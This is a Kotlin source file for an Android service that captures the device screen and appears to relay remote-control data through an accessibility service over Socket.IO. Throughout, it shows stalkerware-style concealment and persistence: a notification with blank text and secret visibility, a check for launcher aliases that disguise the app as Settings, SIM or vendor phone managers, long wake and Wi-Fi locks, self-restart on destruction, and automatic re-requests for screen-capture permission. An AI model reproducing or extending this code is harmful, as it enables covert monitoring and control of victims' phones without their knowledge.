Files
and-bak/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt

633 lines
25 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont.service
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.ServiceInfo
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.IBinder
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.R
/**
* 远程控制前台服务
*
* 主要职责:
* 1. 作为MediaProjection的前台服务容器
* 2. 处理屏幕录制权限和MediaProjection对象创建
* 3. 维护前台通知
*/
class RemoteControlForegroundService : Service() {
companion object {
private const val TAG = "RemoteControlForegroundService"
private const val NOTIFICATION_CHANNEL_ID = "media_projection_service"
private const val NOTIFICATION_ID = 2001
private const val RESTART_DELAY = 3000L // 重启延迟3秒
}
private var mediaProjection: MediaProjection? = null
private var mediaProjectionManager: MediaProjectionManager? = null
private var wakeLock: PowerManager.WakeLock? = null
private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
private var keepAliveJob: Job? = null
// ✅ Android 15深度恢复广播接收器
private val deepRecoveryReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
"android.mycustrecev.DEEP_RECOVERY_MODE" -> {
Log.w(TAG, "🔧 收到Android 15深度恢复广播重启服务")
handleDeepRecovery()
}
}
}
}
override fun onCreate() {
super.onCreate()
Log.i(TAG, "前台服务创建")
mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
createNotificationChannel()
// ✅ 注册Android 15深度恢复广播接收器
if (Build.VERSION.SDK_INT >= 35) {
val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE")
registerReceiver(deepRecoveryReceiver, filter)
Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器")
}
// 获取WakeLock防止系统休眠
acquireWakeLock()
// 启动保活机制
startKeepAlive()
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
Log.i(TAG, "前台服务启动命令: ${intent?.action}")
when (intent?.action) {
"START_MEDIA_PROJECTION" -> {
handleStartMediaProjection(intent)
}
"STOP_SCREEN_CAPTURE" -> {
handleStopScreenCapture()
}
"RESTART_SERVICE" -> {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
}
}
// 确保前台服务已启动
startForegroundService()
return START_STICKY
}
private fun handleStartMediaProjection(intent: Intent) {
try {
Log.i(TAG, "开始处理MediaProjection")
// 启动前台服务
startForegroundService()
// 从MediaProjectionHolder获取权限数据
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
val (resultCode, resultData) = permissionData
Log.i(TAG, "获取到权限数据: resultCode=$resultCode")
if (resultData != null) {
// ✅ Android 15特殊处理创建MediaProjection对象并注册回调
if (Build.VERSION.SDK_INT >= 35) {
Log.i(TAG, "🔍 Android 15设备使用专用处理逻辑")
// 对于Android 15优先通过AccessibilityService的专用管理器处理
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
Log.i(TAG, "✅ 通过AccessibilityService的Android 15专用管理器处理")
accessibilityService.handleMediaProjectionGranted()
} else {
// 备用方案:直接创建但记录连接时间用于智能判断
mediaProjection = mediaProjectionManager?.getMediaProjection(resultCode, resultData)
if (mediaProjection != null) {
Log.i(TAG, "✅ Android 15 MediaProjection对象创建成功备用方案")
MediaProjectionHolder.setMediaProjection(mediaProjection)
notifyAccessibilityService()
}
}
} else {
// 其他版本的正常处理逻辑
mediaProjection = mediaProjectionManager?.getMediaProjection(resultCode, resultData)
if (mediaProjection != null) {
Log.i(TAG, "MediaProjection对象创建成功")
// 将MediaProjection传递给AccessibilityService
MediaProjectionHolder.setMediaProjection(mediaProjection)
// 通知AccessibilityService
notifyAccessibilityService()
} else {
Log.e(TAG, "MediaProjection对象创建失败")
}
}
} else {
Log.e(TAG, "权限数据中的Intent为null")
}
} else {
Log.e(TAG, "无法从MediaProjectionHolder获取权限数据")
}
} catch (e: Exception) {
Log.e(TAG, "处理MediaProjection失败", e)
}
}
private fun handleStopScreenCapture() {
try {
Log.i(TAG, "用户请求停止屏幕共享")
// 停止MediaProjection
mediaProjection?.stop()
mediaProjection = null
// 用户主动停止时使用强制清理
MediaProjectionHolder.forceStopMediaProjection()
// 用户主动停止时强制清理权限
val accessibilityService = AccessibilityRemoteService.getInstance()
accessibilityService?.forceStopScreenCapture() // 使用强制停止方法
// 停止前台服务
stopForeground(true)
stopSelf()
Log.i(TAG, "屏幕共享已停止")
} catch (e: Exception) {
Log.e(TAG, "停止屏幕共享失败", e)
}
}
private fun startForegroundService() {
val notification = createNotification()
if (Build.VERSION.SDK_INT >= 34) {
// ✅ Android 14+ (API 34+)参考billd-desk传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1)
// 让系统从Manifest中读取foregroundServiceType确保权限正确声明
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
)
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
)
} else {
startForeground(NOTIFICATION_ID, notification)
}
Log.i(TAG, "前台服务已启动")
}
private fun notifyAccessibilityService() {
try {
// 直接通过AccessibilityService实例设置MediaProjection
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
Log.i(TAG, "找到AccessibilityService实例直接设置MediaProjection")
accessibilityService.handleMediaProjectionGranted()
} else {
Log.w(TAG, "AccessibilityService实例未找到使用Intent通知方式")
// 备选方案通过Intent通知
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
serviceIntent.action = "MEDIA_PROJECTION_GRANTED"
serviceIntent.putExtra("media_projection_available", true)
startService(serviceIntent)
Log.i(TAG, "已通过Intent通知AccessibilityService MediaProjection权限获取成功")
}
} catch (e: Exception) {
Log.e(TAG, "通知AccessibilityService失败", e)
}
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
NOTIFICATION_CHANNEL_ID,
"服务",
NotificationManager.IMPORTANCE_MIN // ✅ 最低重要性
).apply {
description = "服务正在运行中"
setShowBadge(false)
enableLights(false)
enableVibration(false)
setSound(null, null) // ✅ 无声音
enableLights(false) // ✅ 无灯光
enableVibration(false) // ✅ 无振动
}
val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
notificationManager.createNotificationChannel(channel)
}
}
private fun createNotification(): Notification {
// 创建点击通知的Intent
val intent = Intent(this, com.hikoncont.MainActivity::class.java)
val pendingIntent = PendingIntent.getActivity(
this,
0,
intent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
return NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)
.setContentTitle("") // ✅ 隐藏标题
.setContentText("") // ✅ 隐藏内容
.setSmallIcon(R.drawable.ic_remote_control)
.setContentIntent(pendingIntent)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_MIN) // ✅ 最低优先级
.setCategory(NotificationCompat.CATEGORY_SERVICE)
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // ✅ 隐藏通知
.setAutoCancel(false) // 禁止用户取消
.setShowWhen(false) // ✅ 不显示时间
.setWhen(System.currentTimeMillis())
.build()
}
/**
* 创建停止共享的Intent
*/
private fun createStopIntent(): PendingIntent {
val stopIntent = Intent(this, RemoteControlForegroundService::class.java)
stopIntent.action = "STOP_SCREEN_CAPTURE"
return PendingIntent.getService(
this,
1,
stopIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
}
/**
* 获取WakeLock防止系统休眠
*/
private fun acquireWakeLock() {
try {
val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
wakeLock = powerManager.newWakeLock(
PowerManager.PARTIAL_WAKE_LOCK,
"RemoteControl::ForegroundService"
)
wakeLock?.setReferenceCounted(false)
// 延长到24小时确保长期保活
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
Log.i(TAG, "🔋 强力WakeLock已获取 (24小时)")
// ✅ 参考billd-desk获取WifiLock防止WiFi休眠
acquireWifiLock()
} catch (e: Exception) {
Log.e(TAG, "❌ 获取WakeLock失败", e)
}
}
/**
* 参考billd-desk IsolateHolderService获取WifiLock防止WiFi休眠
* 确保后台网络传输不中断
*/
private fun acquireWifiLock() {
try {
val wifiManager = applicationContext.getSystemService(Context.WIFI_SERVICE) as android.net.wifi.WifiManager
wifiLock = wifiManager.createWifiLock(
android.net.wifi.WifiManager.WIFI_MODE_FULL_HIGH_PERF,
"RemoteControl::WifiLock"
)
wifiLock?.setReferenceCounted(false)
wifiLock?.acquire()
Log.i(TAG, "📶 WifiLock已获取参考billd-desk保活策略")
} catch (e: Exception) {
Log.e(TAG, "❌ 获取WifiLock失败", e)
}
}
/**
* 释放WifiLock
*/
private fun releaseWifiLock() {
try {
if (wifiLock?.isHeld == true) {
wifiLock?.release()
Log.i(TAG, "📶 WifiLock已释放")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 释放WifiLock失败", e)
}
}
/**
* 检查APP是否安装完成
* 只有在安装完成后才开始保活机制避免第一次打开APP时反复唤醒主页
*/
private fun isAppInstallationComplete(): Boolean {
return try {
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isCompleted = installationStateManager.isInstallationComplete()
if (!isCompleted) {
Log.d(TAG, "🔒 APP安装未完成跳过保活检测")
return false
}
// ✅ 检查安装完成时间,确保不是刚安装完成
val installationTime = installationStateManager.getInstallationTime()
val currentTime = System.currentTimeMillis()
val timeSinceInstallation = currentTime - installationTime
// 如果安装完成时间少于30秒跳过保活检测给系统足够时间稳定
if (timeSinceInstallation < 30000L) {
Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms),跳过保活检测,等待系统稳定")
return false
}
true
} catch (e: Exception) {
Log.e(TAG, "❌ 检查APP安装完成状态失败", e)
false
}
}
/**
* 启动保活机制
* 关键只有在APP安装完成后才开始保活机制
*/
private fun startKeepAlive() {
keepAliveJob = serviceScope.launch {
while (isActive) {
try {
// ✅ 关键检查APP是否安装完成未完成则不进行保活检测
if (!isAppInstallationComplete()) {
Log.d(TAG, "🔒 APP安装未完成跳过保活检测")
delay(60 * 1000) // 等待1分钟后再次检查
continue
}
// ✅ 修复:先检查无障碍权限,再检查服务实例
if (!isAccessibilityServiceEnabled()) {
Log.w(TAG, "⚠️ 无障碍服务权限已丢失启动MainActivity重新授权")
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
} else {
// 权限正常检查AccessibilityService实例
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService == null) {
Log.d(TAG, "🔍 无障碍权限正常但AccessibilityService实例未初始化等待初始化完成")
// 权限正常但实例未初始化,等待初始化完成,不强制重启
} else {
// AccessibilityService存在智能检查连接状态
Log.d(TAG, "🔍 智能检查连接状态")
// ✅ 先检查是否真的需要干预
val socketIOConnected = try {
accessibilityService.getSocketIOManager()?.isConnected() ?: false
} catch (e: Exception) { false }
// ✅ 只检查Socket.IO连接状态WebSocket已移除
if (!socketIOConnected) {
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开但等待其自动重连机制处理")
// 让Socket.IO的重连机制工作前台服务不强制干预
} else {
Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected")
}
}
}
// 减少到每120秒检查一次进一步降低干扰
delay(120 * 1000)
} catch (e: Exception) {
Log.e(TAG, "保活检查失败", e)
delay(60 * 1000) // 失败时延长检查间隔
}
}
}
}
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
/**
* 检查应用是否处于伪装模式
*/
private fun isAppInCamouflageMode(): Boolean {
return try {
val packageManager = packageManager
val mainComponent = android.content.ComponentName(this, "com.hikoncont.MainActivity")
val camouflageAliases = listOf(
"com.hikoncont.PhoneManagerAlias",
"com.hikoncont.VivoIGuanjiaAlias",
"com.hikoncont.OppoAlias",
"com.hikoncont.HuaweiAlias",
"com.hikoncont.HonorAlias",
"com.hikoncont.XiaomiAlias",
"com.hikoncont.SettingsAlias",
"com.hikoncont.SIMAlias"
)
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
var anyAliasEnabled = false
for (aliasName in camouflageAliases) {
try {
val component = android.content.ComponentName(this, aliasName)
val enabled = packageManager.getComponentEnabledSetting(component)
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
anyAliasEnabled = true
break
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
}
}
val isCamouflage = isMainDisabled && anyAliasEnabled
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, AnyAlias: $anyAliasEnabled)")
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
false
}
}
/**
* 检查无障碍服务是否启用
*/
private fun isAccessibilityServiceEnabled(): Boolean {
return try {
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
contentResolver,
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
)
if (accessibilityEnabled == 1) {
val serviceId = "${packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
val enabledServices = android.provider.Settings.Secure.getString(
contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
val isServiceEnabled = enabledServices?.contains(serviceId) == true
Log.d(TAG, "无障碍服务状态检查: enabled=$isServiceEnabled, serviceId=$serviceId")
isServiceEnabled
} else {
Log.d(TAG, "无障碍功能未启用")
false
}
} catch (e: Exception) {
Log.e(TAG, "检查无障碍服务状态失败", e)
false
}
}
override fun onDestroy() {
Log.i(TAG, "前台服务销毁")
// 取消保活任务
keepAliveJob?.cancel()
serviceScope.cancel()
// 释放WakeLock
try {
wakeLock?.release()
wakeLock = null
} catch (e: Exception) {
Log.e(TAG, "释放WakeLock失败", e)
}
// ✅ 释放WifiLock参考billd-desk
releaseWifiLock()
// ❌ 修复服务销毁时不要停止MediaProjection权限
// 这会导致Android 15设备权限丢失
// mediaProjection?.stop() // 删除,避免权限被意外停止
mediaProjection = null
// 只清理引用,保留权限数据
MediaProjectionHolder.clearMediaProjection()
// ✅ 取消注册Android 15深度恢复广播接收器
if (Build.VERSION.SDK_INT >= 35) {
try {
unregisterReceiver(deepRecoveryReceiver)
Log.i(TAG, "✅ 已取消注册Android 15深度恢复广播接收器")
} catch (e: Exception) {
Log.w(TAG, "取消注册深度恢复广播接收器失败: ${e.message}")
}
}
// 服务销毁时自动重启
scheduleRestart()
super.onDestroy()
}
/**
* 安排服务重启
*/
private fun scheduleRestart() {
try {
val restartIntent = Intent(this, RemoteControlForegroundService::class.java)
restartIntent.action = "RESTART_SERVICE"
val pendingIntent = PendingIntent.getService(
this,
1001,
restartIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager
val restartTime = System.currentTimeMillis() + RESTART_DELAY
alarmManager.setExact(
android.app.AlarmManager.RTC_WAKEUP,
restartTime,
pendingIntent
)
Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启")
} catch (e: Exception) {
Log.e(TAG, "安排服务重启失败", e)
}
}
/**
* 处理Android 15深度恢复
*/
private fun handleDeepRecovery() {
try {
Log.w(TAG, "🔧 开始Android 15深度恢复流程")
// 1. 完全清理当前MediaProjection权限
mediaProjection?.stop()
mediaProjection = null
MediaProjectionHolder.forceStopMediaProjection()
// 2. 重启AccessibilityService
val accessibilityService = AccessibilityRemoteService.getInstance()
accessibilityService?.forceStopScreenCapture()
// 3. 延迟后重新启动权限申请流程
serviceScope.launch {
delay(3000) // 等待3秒
Log.i(TAG, "🚀 启动深度恢复权限申请")
val intent = Intent(this@RemoteControlForegroundService, com.hikoncont.MainActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP)
putExtra("AUTO_REQUEST_PERMISSION", true)
putExtra("DEEP_RECOVERY", true) // 标记为深度恢复
putExtra("PERMISSION_LOST_RECOVERY", true)
}
startActivity(intent)
Log.i(TAG, "✅ Android 15深度恢复流程已启动")
}
} catch (e: Exception) {
Log.e(TAG, "❌ Android 15深度恢复失败", e)
}
}
override fun onBind(intent: Intent?): IBinder? {
return null
}
}